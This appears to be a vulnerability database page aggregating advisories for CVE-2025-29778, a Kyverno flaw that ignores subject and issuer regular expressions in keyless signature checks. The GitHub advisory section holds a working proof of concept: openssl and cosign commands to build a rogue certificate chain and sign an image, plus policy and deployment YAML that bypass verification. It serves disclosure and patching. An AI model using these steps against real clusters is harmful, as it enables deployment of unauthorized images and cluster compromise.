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Kyverno ignores subjectRegExp and IssuerRegExp

CVSS 3.1 5.8 MEDIUMEUVD CVSS 3.1 5.8 CVSS 3.1 · [email protected] · Secondary 5.8 MEDIUMCVSS 3.1 · [email protected] · Primary 8.0 HIGHCVSS_V3 Publisher rating MODERATEFixed by github.com/kyverno/kyverno 1.14.0-alpha.1osv · severity unknownFixed by github.com/kyverno/kyverno 1.14.0-alpha.1KEV status unknown

cve-program · CVE-2025-29778

Published

Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to version 1.14.0-alpha.1, Kyverno ignores subjectRegExp and IssuerRegExp while verifying artifact's sign with keyless mode. It allows the attacker to deploy kubernetes resources with the artifacts that were signed by unexpected certificate. Deploying these unauthorized kubernetes resources can lead to full compromise of kubernetes cluster. Version 1.14.0-alpha.1 contains a patch for the issue.

Read the publisher's advisory

euvd · EUVD-2025-7996

Published

Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to version 1.14.0-alpha.1, Kyverno ignores subjectRegExp and IssuerRegExp while verifying artifact's sign with keyless mode. It allows the attacker to deploy kubernetes resources with the artifacts that were signed by unexpected certificate. Deploying these unauthorized kubernetes resources can lead to full compromise of kubernetes cluster. Version 1.14.0-alpha.1 contains a patch for the issue.

Read the publisher's advisory

nvd · CVE-2025-29778

Published

Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to version 1.14.0-alpha.1, Kyverno ignores subjectRegExp and IssuerRegExp while verifying artifact's sign with keyless mode. It allows the attacker to deploy kubernetes resources with the artifacts that were signed by unexpected certificate. Deploying these unauthorized kubernetes resources can lead to full compromise of kubernetes cluster. Version 1.14.0-alpha.1 contains a patch for the issue.

Read the publisher's advisory

osv · GHSA-46mp-8w32-6g94

Published

### Summary Kyverno ignores subjectRegExp and IssuerRegExp while verifying artifact's sign with keyless mode. It allows the attacker to deploy kubernetes resources with the artifacts that were signed by unexpected certificate. ### Details Kyverno checks only subject and issuer fields when verifying an artifact's signature: https://github.com/Mohdcode/kyverno/blob/373f942ea9fa8b63140d0eb0e101b9a5f71033f3/pkg/cosign/cosign.go#L537. While there are subjectRegExp and issuerRegExp fields that can also be used for the defining expected subject and issue values. If the last ones are used then their values are not taken in count and there is no actually restriction for the certificate that was used for the image sign. ### PoC For the successful exploitation attacker needs: - Private key of any certificate in the certificate chain that trusted by cosign. It can be certificate that signed by company's self-signed Root CA if they are using their own PKI. - Access to container registry to push artifacts images - Availability to deploy malicious artifacts to the kubernetes cluster 1. Generate certificate that will be used for the image signing with the oidcissuer url. That can be done with the Fulcio or manually by using openssl ``` # Create self-signed RootCA openssl req -x509 -newkey rsa:4096 -keyout root-ca-key.pem -sha256 -noenc -days 9999 -subj "/C=AA/L=Location/O=IT/OU=Security/CN=Root Certificate Authority" -out root-ca.pem # Create request for the intermediate certificate openssl req -noenc -newkey rsa:4096 -keyout intermediate-ca-key.pem -addext "subjectKeyIdentifier = hash" -addext "keyUsage = critical,keyCertSign" -addext "basicConstraints = critical,CA:TRUE,pathlen:2" -subj "/C=AA/L=Location/O=IT/OU=Security/CN=Intermediate Certificate Authority" -out intermediate-ca.csr # Issue intermediate cert with RootCA openssl x509 -req -days 9999 -sha256 -in intermediate-ca.csr -CA root-ca.pem -CAkey root-ca-key.pem -copy_extensions copy -out intermediate-ca.pem # OID_1_1 is the hexadecimal representation of the oidcissuer url OID_1_1=$(echo -n "https://me.net" | xxd -p -u) # Create request for the leaf certificate openssl req -noenc -newkey rsa:4096 -keyout my-key.pem -addext "subjectKeyIdentifier = hash" -addext "basicConstraints = critical,CA:FALSE" -addext "keyUsage = critical,digitalSignature" -addext "subjectAltName = email:[email protected]" -addext "1.3.6.1.4.1.57264.1.1 = DER:${OID_1_1}" -addext "1.3.6.1.4.1.57264.1.8 = ASN1:UTF8String:https://me.net" -subj "/C=AA/L=Location/O=IT/OU=Security/CN=My Cosign Certificate" -out my-cert.csr # Issue leaf cert with Intermediate CA openssl x509 -req -in my-cert.csr -CA intermediate-ca.pem -CAkey intermediate-ca-key.pem -copy_extensions copy -days 9999 -sha256 -out my-cert.pem # Generate certificates chain cat intermediate-ca.pem root-ca.pem > cert-chain.pem ``` 2. Build and push container image 2. Import key and sign the image with the generated certificate ``` COSIGN_PASSWORD="" cosign import-key-pair --key my-key.pem --output-key-prefix=import-my-key COSIGN_PASSWORD="" cosign sign $IMAGE_WITH_HASH --tlog-upload=false --cert my-cert.pem --cert-chain cert-chain.pem --key import-my-key.key ``` 3. Add ClusterPolicy for the Kyverno with the wrong subject and issuer regexp. Adding (Fulcio) Root CA as secret and using it in policy is optional only if cosign cannot trust it: ``` apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: check-image-keyless spec: validationFailureAction: Enforce webhookTimeoutSeconds: 30 rules: - name: check-image-keyless match: any: - resources: kinds: - Pod context: - name: encodedCert apiCall: urlPath: "/api/v1/namespaces/kyverno/secrets/fulcio-ca" method: GET jmesPath: "data.\"fulcio-ca.pem\"" - name: root variable: jmesPath: "base64_decode(encodedCert)" verifyImages: - imageReferences: - "<IMAGE_REGEXP>" attestors: - entries: - keyless: subjectRegExp: https://ivalid issuerRegExp: https://ivalid roots: "{{root}}" rekor: url: <URL_TO_REKOR> pubkey: |- -----BEGIN PUBLIC KEY----- ... -----END PUBLIC KEY----- ctlog: pubkey: |- -----BEGIN PUBLIC KEY----- ... -----END PUBLIC KEY----- ``` 4. Deploy previously signed image ``` apiVersion: apps/v1 kind: Deployment metadata: labels: app: image-sign name: image-sign namespace: default spec: replicas: 2 selector: matchLabels: app: image-sign strategy: {} template: metadata: annotations: labels: app: image-sign spec: containers: - image: <YOUR_IMAGE> imagePullPolicy: Always name: image-signing ports: - containerPort: 5000 resources: requests: memory: 500Mi cpu: 0.1 limits: memory: 2Gi cpu: 0.2 restartPolicy: Always status: {} ``` 5. The deployment with pods will be create successfully due to not checking subjectRegExp and issuerRegExp fields validation ### Impact Deploying unauthorized kubernetes resources that can lead to full compromise of kubernetes cluster ### P.S. Problem was discovered by me when testing image sign verifying with keyless signing: https://kubernetes.slack.com/archives/CLGR9BJU9/p1740136401365279?thread_ts=1740136401.365279&cid=CLGR9BJU9. Then it was [verified](https://github.com/kyverno/policies/issues/1246) and [fixed](https://github.com/kyverno/kyverno/pull/12237) by [Mohcode](https://github.com/Mohdcode). But i think it should be registered as security problem such as it allows to bypass part of the verification mechanism and Kyverno users should be aware of it.

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osv · GO-2025-3562

Published

Kyverno ignores subjectRegExp and IssuerRegExp in github.com/kyverno/kyverno

Read the publisher's advisory

Affected versions, risk and source history

cve-program · CVE-2025-29778

Published

kyverno

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "kyverno",
                    "product": "kyverno",
                    "versions": [
                        {
                            "version": "< 1.14.0-alpha.1",
                            "status": "affected"
                        }
                    ]
                }

Original source record · Cite this exact observation · Complete original publisher JSON

euvd · EUVD-2025-7996

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Mar 24, 2025, 4:38:08 PM

dateUpdated: Mar 24, 2025, 5:55:28 PM

1 related source bulletins · separate from aliases

openSUSE-SU-2025:14937-1: govulncheck-vulndb-0.0.20250327T184518-1.1 on GA media

CVE-2024-25132 · CVE-2024-53348 · CVE-2024-53351 · CVE-2024-7598 · CVE-2024-7631 · CVE-2024-9042 · CVE-2024-9900 · CVE-2025-1097 · CVE-2025-1098 · CVE-2025-1472 · CVE-2025-1767 · CVE-2025-1974 · CVE-2025-24513 · CVE-2025-24514 · CVE-2025-24920 · CVE-2025-25068 · CVE-2025-25274 · CVE-2025-27612 · CVE-2025-27715 · CVE-2025-27933 · CVE-2025-29778 · CVE-2025-29914 · CVE-2025-29922 · CVE-2025-29923 · CVE-2025-30077 · CVE-2025-30153 · CVE-2025-30162 · CVE-2025-30163 · CVE-2025-30179 · CVE-2025-30204

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

nvd · CVE-2025-29778

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-285

Original publisher date fields

published: 2025-03-24T17:15:20.970

lastModified: 2026-06-17T09:05:39.257

1 source CPE criteria · context only
  • cpe:2.3:a:kyverno:kyverno:*:*:*:*:*:*:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

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osv · GHSA-46mp-8w32-6g94

Published

github.com/kyverno/kyverno

Go

SEMVER · introduced 1.13.0 → fixed 1.14.0-alpha.1

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osv · GO-2025-3562

Published

github.com/kyverno/kyverno

Go

SEMVER · introduced 0 → fixed 1.14.0-alpha.1

Original source record · Cite this exact observation · Complete original publisher JSON

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